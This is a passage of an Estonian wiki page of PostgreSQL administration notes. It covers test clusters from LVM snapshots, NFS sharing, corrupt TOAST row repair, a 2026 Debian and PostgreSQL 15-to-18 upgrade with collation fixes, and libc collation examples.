 &amp;lt; ident_file = '/etc/postgresql/9.4/main/pg_ident.conf'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; ident_file = '/etc/postgresql/9.4/test/pg_ident.conf'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; external_pid_file = '/var/run/postgresql/9.4-main.pid'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; external_pid_file = '/var/run/postgresql/9.4-test.pid'&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; port = 5432&lt;br /&gt;
 &amp;lt; max_connections = 100&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; port = 5433&lt;br /&gt;
 &amp;gt; max_connections = 30&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; shared_buffers = 2GB&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; shared_buffers = 384MB&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt; archive_mode = off&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; # archive_mode = off&lt;br /&gt;
  &lt;br /&gt;
 &amp;lt; stats_temp_directory = '/var/run/postgresql/9.4-main.pg_stat_tmp'&lt;br /&gt;
 ---&lt;br /&gt;
 &amp;gt; stats_temp_directory = '/var/run/postgresql/9.4-test.pg_stat_tmp'&lt;br /&gt;
&lt;br /&gt;
ühendada külge sobivasse punkti failisüsteemis, nt&lt;br /&gt;
&lt;br /&gt;
 # mkdir /var/lib/postgresql/9.2/test&lt;br /&gt;
 # mount /dev/pgdata/data_postgresql_20150326_tootanud /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
ning käivitada teine eksemplar&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.4 test start&lt;br /&gt;
&lt;br /&gt;
Tulemusena on kaks eksemplari&lt;br /&gt;
&lt;br /&gt;
 # pg_lsclusters &lt;br /&gt;
 Ver Cluster    Port Status Owner    Data directory                  Log file&lt;br /&gt;
 9.2 main       5432 online postgres /var/lib/postgresql/9.2/main    /var/log/postgresql/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
 9.2 test       5433 online postgres /var/lib/postgresql/9.2/test    /var/log/postgresql-test/postgresql-%Y-%m-%d_%H%M%S.log&lt;br /&gt;
&lt;br /&gt;
Kui LVM snapshot tehti töötavast andmeklastri kataloogist, siis saab käivitamisel sellise veateate&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 test start&lt;br /&gt;
 Cluster is already running.&lt;br /&gt;
&lt;br /&gt;
Teda segab selline fail, mis tuleb eemaldada&lt;br /&gt;
&lt;br /&gt;
 # cat /var/lib/postgresql/9.2/test/postmaster.pid &lt;br /&gt;
 2025&lt;br /&gt;
 /var/lib/postgresql/9.2/main&lt;br /&gt;
 1473969248&lt;br /&gt;
 5432&lt;br /&gt;
 /var/run/postgresql&lt;br /&gt;
&lt;br /&gt;
====NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
PostgreSQL töötab põhimõtteliselt ilusti üle NFS külge ühendatud failisüsteemiga. Seejuures tuleb muidugi arvestada, et NFS ressursi jõudlus ei ole tingimata selliste omadustega nagu lokaalne või FC ressurss. NFS ja LVM kombineerimine eemaldab eelmises punktis kirjeldatud tegevustelt samas arvutis töötamise piirangu. St võimalik on LVM snapshotilt käivitada andmebaas teises arvutis. Selleks tuleb &lt;br /&gt;
&lt;br /&gt;
* moodustada LVM snaphost&lt;br /&gt;
* snapshot failisüsteem ühendada külge nagu kirjeldatud eelmises punktis (NB! mitte käivitada lokaalselt sealt protsesse, vastasel juhul tekib konflikt kuna samu andmebaasi faile kasutatakse kahest arvutist sõltumatult)&lt;br /&gt;
* Seejärel tuleb jagada snapshoti failisüsteem välja NFS serveris (10.100.13.159 on NFS klient)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/exports&lt;br /&gt;
 /var/lib/postgresql/9.2/test      10.100.13.159(rw,sync,no_subtree_check)&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # /etc/init.d/nfs-kernel-server reload&lt;br /&gt;
&lt;br /&gt;
* kliendi arvutis külge ühendada (10.100.13.174 on NFS server)&lt;br /&gt;
&lt;br /&gt;
 # mount 10.100.13.174:/var/lib/postgresql/9.2/test /var/lib/postgresql/9.2/test&lt;br /&gt;
&lt;br /&gt;
* edasi kasutada sarnaselt kui eelmises punktis teist eksemplari&lt;br /&gt;
&lt;br /&gt;
====LVM ja NFS kasutamine PostgreSQL andmebaasiga====&lt;br /&gt;
&lt;br /&gt;
Kahe eelmise punkti üks variantsioon on võimalus mugavalt läbi proovida andmebaasi versiooni uuendamist pg_upgrade utiliidi abil. St teises arvutis on siis olemas&lt;br /&gt;
&lt;br /&gt;
* snapshotilt tulev vana baasi failisüsteem üle NFS&lt;br /&gt;
* peab olema vana baasi versioonile vastav tarkvara paigaldatud lokaalselt (nt v. 8.4)&lt;br /&gt;
* uue baasi versiooni tarkvara paigaldatud lokaalselt (nt v. 9.4)&lt;br /&gt;
&lt;br /&gt;
Ja tulemusena peab saama öelda nö&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_upgrade -b /usr/lib/postgresql/8.4/bin -B /usr/lib/postgresql/9.4/bin -d /var/lib/postgresql/8.4/test \&lt;br /&gt;
   -D /var/lib/postgresql/9.4/test -p 5432 -P 5433 -o ' -D /etc/postgresql/8.4/test' -O ' -D /etc/postgresql/9.4/test' -c&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi vigade parandamine===&lt;br /&gt;
&lt;br /&gt;
====XXX viga====&lt;br /&gt;
&lt;br /&gt;
Probleemiks on baasi dump käigus tekkiv viga&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_dump -p 5435 -Fc -f baasinimi.dump baasinimi&lt;br /&gt;
pg_dump: Dumping the contents of table &amp;quot;failid&amp;quot; failed: PQgetResult() failed.&lt;br /&gt;
pg_dump: Error message from server: ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
pg_dump: The command was: COPY public.failid (faili_id, yhistu_id, perioodi_id, arve_id, dokumendi_id, ...) TO stdout;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tööpõhimõte&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
failid2 tabeli tekitamiseks sobib öelda (nb! ei tekitata constrainitisid jms)&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select * into failid2 from failid limit 1;&lt;br /&gt;
 baasinimi=# delete from failid2;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete leidmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-- FUNCTION: public.imre10(integer, integer)&lt;br /&gt;
&lt;br /&gt;
-- DROP FUNCTION public.imre10(integer, integer);&lt;br /&gt;
&lt;br /&gt;
CREATE OR REPLACE FUNCTION public.imre10(&lt;br /&gt;
	integer,&lt;br /&gt;
	integer)&lt;br /&gt;
    RETURNS character varying&lt;br /&gt;
    LANGUAGE 'plpgsql'&lt;br /&gt;
&lt;br /&gt;
    COST 100&lt;br /&gt;
    VOLATILE &lt;br /&gt;
AS $BODY$&lt;br /&gt;
DECLARE&lt;br /&gt;
    badid INT;&lt;br /&gt;
	vfaili_id integer;&lt;br /&gt;
	vyhistu_id integer;&lt;br /&gt;
	vperioodi_id integer;&lt;br /&gt;
	varve_id integer;&lt;br /&gt;
	vdokumendi_id integer;&lt;br /&gt;
        ...&lt;br /&gt;
	loc varchar;&lt;br /&gt;
BEGIN&lt;br /&gt;
FOR badid IN SELECT faili_id FROM failid LOOP&lt;br /&gt;
    BEGIN&lt;br /&gt;
        select faili_id into vfaili_id FROM failid where faili_id = badid;&lt;br /&gt;
        select yhistu_id into vyhistu_id FROM failid where faili_id = badid;&lt;br /&gt;
	select perioodi_id into vperioodi_id FROM failid where faili_id = badid;&lt;br /&gt;
	select arve_id into varve_id FROM failid where faili_id = badid;&lt;br /&gt;
	select dokumendi_id into vdokumendi_id from failid where faili_id = badid;&lt;br /&gt;
        ...&lt;br /&gt;
	insert into failid2 (faili_id, yhistu_id, arve_id, dokumendi_id, ...) values (vfaili_id, vyhistu_id, varve_id, vdokumendi_id, ...);&lt;br /&gt;
        -- RAISE NOTICE 'Hello World %', badid::int;&lt;br /&gt;
    EXCEPTION&lt;br /&gt;
        WHEN OTHERS THEN&lt;br /&gt;
           RAISE NOTICE 'Data for ID % is corrupt', badid;&lt;br /&gt;
           CONTINUE;&lt;br /&gt;
    END;&lt;br /&gt;
END LOOP;&lt;br /&gt;
return 'tere';&lt;br /&gt;
END;&lt;br /&gt;
$BODY$;&lt;br /&gt;
&lt;br /&gt;
ALTER FUNCTION public.imre10(integer, integer)&lt;br /&gt;
    OWNER TO imre;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
käivitamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select imre10(1, 1);&lt;br /&gt;
NOTICE:  Data for ID 2594124 is corrupt&lt;br /&gt;
NOTICE:  Data for ID 2594125 is corrupt&lt;br /&gt;
 imre10&lt;br /&gt;
--------&lt;br /&gt;
 tere&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vigaste kirjete kustutamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594124';&lt;br /&gt;
ERROR:  unexpected chunk number 570 (expected 568) for toast value 241844880 in pg_toast_62025918&lt;br /&gt;
baasinimi=# select * from failid where faili_id = '2594125';&lt;br /&gt;
ERROR:  unexpected chunk number 62 (expected 60) for toast value 241844882 in pg_toast_62025918&lt;br /&gt;
&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594124';&lt;br /&gt;
DELETE 1&lt;br /&gt;
baasinimi=# delete from failid where faili_id = '2594125';&lt;br /&gt;
DELETE 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/message-id/CACut7uSkZrpFHtDEq6UCoOd5fMpXDvmhzGSh=ZHJx86Ac=nOUg@mail.gmail.com&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# table pg_hba_file_rules;&lt;br /&gt;
 line_number | type  |   database    | user_name  |  address  |                 netmask                 | auth_method | options | error &lt;br /&gt;
-------------+-------+---------------+------------+-----------+-----------------------------------------+-------------+---------+-------&lt;br /&gt;
          85 | local | {all}         | {postgres} |           |                                         | peer        |         | &lt;br /&gt;
          90 | local | {all}         | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          92 | host  | {all}         | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          94 | host  | {all}         | {all}      | 0.0.0.0   | 0.0.0.0                                 | md5         |         | &lt;br /&gt;
          97 | local | {replication} | {all}      |           |                                         | peer        |         | &lt;br /&gt;
          98 | host  | {replication} | {all}      | 127.0.0.1 | 255.255.255.255                         | md5         |         | &lt;br /&gt;
          99 | host  | {replication} | {all}      | ::1       | ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff | md5         |         | &lt;br /&gt;
(7 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===2026 kevade märkused===&lt;br /&gt;
&lt;br /&gt;
* lähtepunktiks on töötav debian v. 11 ja pgdg v. 15 postgresql andmebaas, pgbackrest on kasutusel varundamiseks ssh serverisse, zabbix agent2&lt;br /&gt;
* disableda systemd abil postgresql ja postgresql@15-main, /etc/fstab kommenteerida välja '/var/lib/postgresql', virtuaalse pve arvuti shutdown ja teha pbs varundus mitte-töötavast arvutist&lt;br /&gt;
* eemaldada zabbix-agent2 pakett&lt;br /&gt;
* arvuti käivitada ja uuendada 11 -&amp;gt; 12 -&amp;gt; 13 debian operatsioonisüsteem ja pgdg tarkvara (muutes bullseye -&amp;gt; bookworm -&amp;gt; trixie apt sources konfis)&lt;br /&gt;
* veenduda et /etc/postgresql-common/pgcreatecluster.d/moraal.conf on sobiva sisuga, vt all pool&lt;br /&gt;
* paigaldada postgresql-18 pakett&lt;br /&gt;
* monteerida külge '/var/lib/postgresql'&lt;br /&gt;
* teha igaks juhuks koopia /var/lib/postgreql/15/main kataloogist&lt;br /&gt;
* käivitada uuendatud olukorras postgresql v. 15 ja korrigeerida libc uuendusest tulenevad probleemid, vt all pool&lt;br /&gt;
* uuendada postgresql andmestik pg_clusterupgrade abil 15 -&amp;gt; 18, analyze jne (pg_clusterupgrade väljund õpetab)&lt;br /&gt;
* enableda systemd abil postgresql ja postgresql@18-main&lt;br /&gt;
* paigaldada zabbix-agent2 pakett (seejuures vist tekib automaatselt pinning /etc/apt/preferences.d/zabbix abil repo.zabbix.com peale või versioonile)&lt;br /&gt;
&lt;br /&gt;
====pg v. 15 all Debian v 11 -&amp;gt; v 13 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt ei tegele postgresql tarkvara enda uuendamisega, aga postgresqli sama versiooni mõjutava libc uuenduse mõjuga, Debian v 11 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.31-13+deb11u13 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja Debian v 13 puhul&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# dpkg -l libc6 | grep ^ii&lt;br /&gt;
ii  libc6:amd64    2.41-12+deb13u2 amd64        GNU C Library: Shared libraries&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
probleem paistab välja logis nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
2026-05-12 23:05:36.689 EEST [3152] LOG:  starting PostgreSQL 15.17 (Debian 15.17-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv4 address &amp;quot;0.0.0.0&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.690 EEST [3152] LOG:  listening on IPv6 address &amp;quot;::&amp;quot;, port 5432&lt;br /&gt;
2026-05-12 23:05:36.691 EEST [3152] LOG:  listening on Unix socket &amp;quot;/var/run/postgresql/.s.PGSQL.5432&amp;quot;&lt;br /&gt;
2026-05-12 23:05:36.697 EEST [3155] LOG:  database system was shut down at 2026-05-12 22:18:29 EEST&lt;br /&gt;
2026-05-12 23:05:36.707 EEST [3152] LOG:  database system is ready to accept connections&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
2026-05-12 23:05:37.748 EEST [3162] postgres@template1 HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE template1 REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
2026-05-12 23:05:38.265 EEST [3165] postgres@template1 WARNING:  database &amp;quot;template1&amp;quot; has a collation version mismatch&lt;br /&gt;
2026-05-12 23:05:38.265 EEST [3165] postgres@template1 DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
WARNING:  database &amp;quot;postgres&amp;quot; has a collation version mismatch&lt;br /&gt;
DETAIL:  The database was created using collation version 2.31, but the operating system provides version 2.41.&lt;br /&gt;
HINT:  Rebuild all objects in this database that use the default collation and run ALTER DATABASE postgres REFRESH COLLATION VERSION, or build PostgreSQL with the right library version.&lt;br /&gt;
psql (18.3 (Debian 18.3-1.pgdg13+1), server 15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* andmebaas kurdab, et binary data on tekitqtud libc v. 2.31 koosseisus oleva collationi abil ja praegu süsteem kasutab libc v. 2.41&lt;br /&gt;
&lt;br /&gt;
lahendus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@test-db:~$ reindexdb --all 1&amp;gt; reindexdb-all.log 2&amp;gt;&amp;amp;1&lt;br /&gt;
&lt;br /&gt;
postgres@test-db:~$ psql&lt;br /&gt;
psql (15.17 (Debian 15.17-1.pgdg13+1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;template1&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;db_infosysteem&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
postgres=# ALTER DATABASE &amp;quot;postgres&amp;quot; REFRESH COLLATION VERSION;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* reindexdb on käsk mis tuleb anda töötava baasi suhtes (mitte failisüsteemis lebavate binary data failide suhtes)&lt;br /&gt;
* pigem mitte kasutada reindexdb concurrency võimalusi (tundub, et ta ei tööta teatud tabelitega vms, tekitab .ccnew nimelisi laokile jäävaid indekseid; samas teadlikult kasutades võib olla abi)&lt;br /&gt;
* reindex muudab andmeid&lt;br /&gt;
* alter database .. refresh collation muudab nö raamatupidamist (tehniliselt saaks teha näiliselt baasi korda ka ilma reindex käsku ütlemata, aga küllap loodus sekkub varsti sel juhul)&lt;br /&gt;
&lt;br /&gt;
Tulemuse kontrollimine, veenduda, et pole katkisi indekseid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT relname as index_name&lt;br /&gt;
FROM pg_class c&lt;br /&gt;
JOIN pg_index i ON c.oid = i.indexrelid&lt;br /&gt;
WHERE i.indisvalid = false;&lt;br /&gt;
 index_name&lt;br /&gt;
------------&lt;br /&gt;
(0 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning, et peale muudatusi on datcollversion sobiva väärtusega (uuemaga kui enne muudatust, näiteks)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# SELECT datname, datcollversion FROM pg_database;&lt;br /&gt;
         datname          | datcollversion&lt;br /&gt;
--------------------------+----------------&lt;br /&gt;
 template0                |&lt;br /&gt;
 template1                | 2.41&lt;br /&gt;
 db_infosysteem           | 2.41&lt;br /&gt;
 postgres                 | 2.41&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL v 15 -&amp;gt; v 18 uuendamine====&lt;br /&gt;
&lt;br /&gt;
Käesolev punkt tegeleb postgresql tarkvara enda uuendamisega. Üldised ettevalmistused, lülitada välja pgbackrest varundamine selleks, et olemasolevat varundust mitte eksitada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql/15/main/postgresql.conf&lt;br /&gt;
..&lt;br /&gt;
archive_mode=off&lt;br /&gt;
archive_command='/usr/bin/true'&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/postgresql-common/createcluster.conf.d/moraal.conf&lt;br /&gt;
&lt;br /&gt;
..&lt;br /&gt;
create_main_cluster = false&lt;br /&gt;
initdb_options = '--locale=et_EE.UTF-8 --data-checksums'&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuendamise käsundamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pg_upgradecluster -m upgrade -v 18 15 main&lt;br /&gt;
$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-in-stages&lt;br /&gt;
$ /usr/lib/postgresql/18/bin/vacuumdb --all --analyze-only&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====pgbackrest seadistamine====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===locale provider - libc===&lt;br /&gt;
&lt;br /&gt;
collate tegeleb kahes dimensioonis&lt;br /&gt;
&lt;br /&gt;
* sorteerimise tulemus st andmete järjestus&lt;br /&gt;
* sorteerimise efektiivsus st on-disk indeksid&lt;br /&gt;
&lt;br /&gt;
create database 'lc_collate' omab vaikimisi mõju kahes kohas&lt;br /&gt;
&lt;br /&gt;
* indeksi moodustamisel 'CREATE INDEX idx_users_en ON users (username COLLATE &amp;quot;en_US.utf8&amp;quot;);' saab 'collate ...' ära jätta ja tulemus on sama&lt;br /&gt;
* select päringu tegemisel 'SELECT username FROM users ORDER BY username COLLATE &amp;quot;en_US.utf8&amp;quot;;' saab 'collate ...' ära jätta ja tulemus on sama&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* libc puhul saab teha tabeli tulbale indekseid erinevate collate'dega st erinevate keelte kohta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_en_us_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'en_US.UTF-8' LC_CTYPE = 'en_US.UTF-8';&lt;br /&gt;
CREATE DATABASE&lt;br /&gt;
postgres=# \l db_imretest_libc_en_us_utf_8&lt;br /&gt;
List of databases&lt;br /&gt;
-[ RECORD 1 ]-----+-----------------------------&lt;br /&gt;
Name              | db_imretest_libc_en_us_utf_8&lt;br /&gt;
Owner             | postgres&lt;br /&gt;
Encoding          | UTF8&lt;br /&gt;
Locale Provider   | libc&lt;br /&gt;
Collate           | en_US.UTF-8&lt;br /&gt;
Ctype             | en_US.UTF-8&lt;br /&gt;
Locale            |&lt;br /&gt;
ICU Rules         |&lt;br /&gt;
Access privileges |&lt;br /&gt;
&lt;br /&gt;
postgres=# \c db_imretest_libc_en_us_utf_8&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_en_us_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;en_US.utf8&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]-------&lt;br /&gt;
username | Muller&lt;br /&gt;
-[ RECORD 2 ]-------&lt;br /&gt;
username | Müller&lt;br /&gt;
-[ RECORD 3 ]-------&lt;br /&gt;
username | Sebastien&lt;br /&gt;
-[ RECORD 4 ]-------&lt;br /&gt;
username | Sébastien&lt;br /&gt;
-[ RECORD 5 ]-------&lt;br /&gt;
username | Škerin&lt;br /&gt;
-[ RECORD 6 ]-------&lt;br /&gt;
username | Smirnov&lt;br /&gt;
-[ RECORD 7 ]-------&lt;br /&gt;
username | Zernask&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;C.utf8&amp;quot;;&lt;br /&gt;
-[ RECORD 1 ]-------&lt;br /&gt;
username | Muller&lt;br /&gt;
-[ RECORD 2 ]-------&lt;br /&gt;
username | Müller&lt;br /&gt;
-[ RECORD 3 ]-------&lt;br /&gt;
username | Sebastien&lt;br /&gt;
-[ RECORD 4 ]-------&lt;br /&gt;
username | Smirnov&lt;br /&gt;
-[ RECORD 5 ]-------&lt;br /&gt;
username | Sébastien&lt;br /&gt;
-[ RECORD 6 ]-------&lt;br /&gt;
username | Zernask&lt;br /&gt;
-[ RECORD 7 ]-------&lt;br /&gt;
username | Škerin&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users ON users (username);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users_en ON users (username COLLATE &amp;quot;en_US.utf8&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE INDEX idx_users_c ON users (username COLLATE &amp;quot;C.utf8&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näide&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_en_us_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'en_US.UTF-8' LC_CTYPE = 'en_US.UTF-8';&lt;br /&gt;
postgres=# CREATE DATABASE db_imretest_libc_et_ee_utf_8 LOCALE_PROVIDER = 'libc' LC_COLLATE = 'et_EE.UTF-8' LC_CTYPE = 'et_EE.UTF-8' template=template0;&lt;br /&gt;
&lt;br /&gt;
postgres=# \c db_imretest_libc_en_us_utf_8;&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# \c db_imretest_libc_et_ee_utf_8;&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_et_ee_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# SELECT username FROM users ORDER BY username;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Škerin&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_libc_et_ee_utf_8=# \c db_imretest_libc_en_us_utf_8;&lt;br /&gt;
You are now connected to database &amp;quot;db_imretest_libc_en_us_utf_8&amp;quot; as user &amp;quot;postgres&amp;quot;.&lt;br /&gt;
db_imretest_libc_en_us_utf_8=# SELECT username FROM users ORDER BY username;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Škerin&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===locale provider - icu===&lt;br /&gt;
&lt;br /&gt;
====Mõisted====&lt;br /&gt;
&lt;br /&gt;
* ICU - International Components for Unicode&lt;br /&gt;
* CLRD - Common Locale Data Repository&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* collate - ei ole väga tavakõne sõna inglise keeles, aga tähendab järjestamist, organiseerimist jms&lt;br /&gt;
